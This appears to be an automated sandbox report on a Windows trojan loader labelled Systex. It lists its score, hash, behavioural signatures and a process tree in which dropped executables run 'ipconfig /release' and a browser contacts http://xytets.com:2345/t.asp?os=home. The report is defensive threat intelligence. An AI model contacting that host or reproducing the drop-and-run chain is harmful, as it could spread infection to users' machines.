Analysis
- max time kernel
150s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
02/08/2026, 19:26
General
- Target 2026-08-02_1c961341d695c675ca0bfa57291ad69a_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
- Size 365KB
- Sample260802-x5hapswwct
- SHA256 994397ba4e4e2834066ab987df44255add9760f48e41c4d0c935b92d5bb358be
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-02_1c961341d695c675ca0bfa57291ad69a_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-02_1c961341d695c675ca0bfa57291ad69a_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\xspkhcausmkicaxr.exeC:\Temp\xspkhcausmkicaxr.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xspnkecxup.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\xspnkecxup.exeC:\Temp\xspnkecxup.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xspnkecxup.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xspnkecxup.exeC:\Temp\i_xspnkecxup.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\urmjecxrmk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\urmjecxrmk.exeC:\Temp\urmjecxrmk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_urmjecxrmk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_urmjecxrmk.exeC:\Temp\i_urmjecxrmk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ezwurmjebt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ezwurmjebt.exeC:\Temp\ezwurmjebt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ezwurmjebt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ezwurmjebt.exeC:\Temp\i_ezwurmjebt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jdbztroige.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jdbztroige.exeC:\Temp\jdbztroige.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jdbztroige.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jdbztroige.exeC:\Temp\i_jdbztroige.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wqojdbytrl.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wqojdbytrl.exeC:\Temp\wqojdbytrl.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wqojdbytrl.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wqojdbytrl.exeC:\Temp\i_wqojdbytrl.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tqoigaytql.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tqoigaytql.exeC:\Temp\tqoigaytql.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tqoigaytql.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tqoigaytql.exeC:\Temp\i_tqoigaytql.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kigaytqkid.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\kigaytqkid.exeC:\Temp\kigaytqkid.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kigaytqkid.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_kigaytqkid.exeC:\Temp\i_kigaytqkid.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\snkicausqk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\snkicausqk.exeC:\Temp\snkicausqk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_snkicausqk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_snkicausqk.exeC:\Temp\i_snkicausqk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usmcauspkh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\usmcauspkh.exeC:\Temp\usmcauspkh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_usmcauspkh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_usmcauspkh.exeC:\Temp\i_usmcauspkh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\spkhfzurpk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\spkhfzurpk.exeC:\Temp\spkhfzurpk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_spkhfzurpk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_spkhfzurpk.exeC:\Temp\i_spkhfzurpk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mjhezwurmj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mjhezwurmj.exeC:\Temp\mjhezwurmj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mjhezwurmj.exe ups_ins3⤵
-
C:\Temp\i_mjhezwurmj.exeC:\Temp\i_mjhezwurmj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rljebwtomg.exe ups_run3⤵
-
C:\Temp\rljebwtomg.exeC:\Temp\rljebwtomg.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rljebwtomg.exe ups_ins3⤵
-
C:\Temp\i_rljebwtomg.exeC:\Temp\i_rljebwtomg.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tqojdbztrl.exe ups_run3⤵
-
C:\Temp\tqojdbztrl.exeC:\Temp\tqojdbztrl.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tqojdbztrl.exe ups_ins3⤵
-
C:\Temp\i_tqojdbztrl.exeC:\Temp\i_tqojdbztrl.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dbvtqligdy.exe ups_run3⤵
-
C:\Temp\dbvtqligdy.exeC:\Temp\dbvtqligdy.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dbvtqligdy.exe ups_ins3⤵
-
C:\Temp\i_dbvtqligdy.exeC:\Temp\i_dbvtqligdy.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gdyvqnlfdy.exe ups_run3⤵
-
C:\Temp\gdyvqnlfdy.exeC:\Temp\gdyvqnlfdy.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gdyvqnlfdy.exe ups_ins3⤵
-
C:\Temp\i_gdyvqnlfdy.exeC:\Temp\i_gdyvqnlfdy.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ifaxsnkica.exe ups_run3⤵
-
C:\Temp\ifaxsnkica.exeC:\Temp\ifaxsnkica.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ifaxsnkica.exe ups_ins3⤵
-
C:\Temp\i_ifaxsnkica.exeC:\Temp\i_ifaxsnkica.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usmkecaxsp.exe ups_run3⤵
-
C:\Temp\usmkecaxsp.exeC:\Temp\usmkecaxsp.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_usmkecaxsp.exe ups_ins3⤵
-
C:\Temp\i_usmkecaxsp.exeC:\Temp\i_usmkecaxsp.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\urpkhcxupm.exe ups_run3⤵
-
C:\Temp\urpkhcxupm.exeC:\Temp\urpkhcxupm.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_urpkhcxupm.exe ups_ins3⤵
-
C:\Temp\i_urpkhcxupm.exeC:\Temp\i_urpkhcxupm.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmjhbzurmk.exe ups_run3⤵
-
C:\Temp\rmjhbzurmk.exeC:\Temp\rmjhbzurmk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmjhbzurmk.exe ups_ins3⤵
-
C:\Temp\i_rmjhbzurmk.exeC:\Temp\i_rmjhbzurmk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x354,0x7ffeb824c188,0x7ffeb824c194,0x7ffeb824c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1952,i,12193241050472548298,13912413804119142510,262144 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2192,i,15688013857395921341,15509992562711840217,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=2568 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2204,i,2603222097928899539,15810266331783492303,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=3312 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3580,i,4213135148901395183,16853208242467508153,2097152 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3584,i,11873939296363200441,13534019782051797162,2097152 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,8701466929387895957,11369547666553811423,2097152 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=4876 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4228,i,6393835329954330476,1579825085952531447,2097152 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=4884 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5340,i,14454002132037597037,7160402513028115253,2097152 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5476,i,3017316931693083013,3278845137018515186,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5956,i,3122647088328102768,7677668398329396891,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5956,i,3122647088328102768,7677668398329396891,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3544,i,6825662676196888744,17134483236605344675,2097152 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3776,i,925108311969763833,3833694725359996543,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=3876 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,2509537276097480926,9449778708820043505,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,12143874823048733749,11283481505242141536,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=6292 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,9888982642638562548,14215921273315496174,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6380,i,1427479955733894363,15319649040201319944,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6372,i,5266922427350760411,8503312411035291031,524288 --field-trial-handle=2540,i,12821102350064451949,18368364246345806038,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:144⤵
-
-
